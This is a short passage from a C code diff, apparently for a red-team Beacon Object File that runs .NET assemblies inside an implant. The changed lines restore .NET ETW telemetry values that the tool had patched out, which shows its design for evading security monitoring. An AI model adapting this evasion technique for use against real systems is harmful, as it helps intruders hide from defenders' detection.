returnData[totalBytesRead] = '\0'; - // BeaconPrintf(CALLBACK_OUTPUT, "\n=== Output (%d bytes) ===\n%s\n", totalBytesRead, returnData); BeaconPrintf(CALLBACK_OUTPUT, "\n%s\n", returnData); } else { BeaconPrintf(CALLBACK_OUTPUT, "[!] No output captured (%d bytes read)\n", totalBytesRead); @@ -715,5 +793,18 @@ void go(char *args, int len) { cleanupCLR(kernel32Base, &ctx); restoreStd(kernel32Base, hOriginalStdout, hWritePipe); - BeaconPrintf(CALLBACK_OUTPUT, "[+] Done \n"); + + // restore handleAddr + if (patchEtwHandle) { + turnOnEtwHandle(handleAddr, handleVal); + BeaconPrintf(CALLBACK_OUTPUT, "[+] DotNETRuntimeHandle value restored: %x\n", *handleAddr); + } + + // restore enable bits + if (patchEtwEnableBits) { + turnOnEtwEnableBits(enableBitsAddr, enableBitsVal); + BeaconPrintf(CALLBACK_OUTPUT, "[+] DotNETRuntimeEnableBits value restored: %x\n", *enableBitsAddr); + } + + BeaconPrintf(CALLBACK_OUTPUT, "[+] Done\n"); } \ No newline at end of file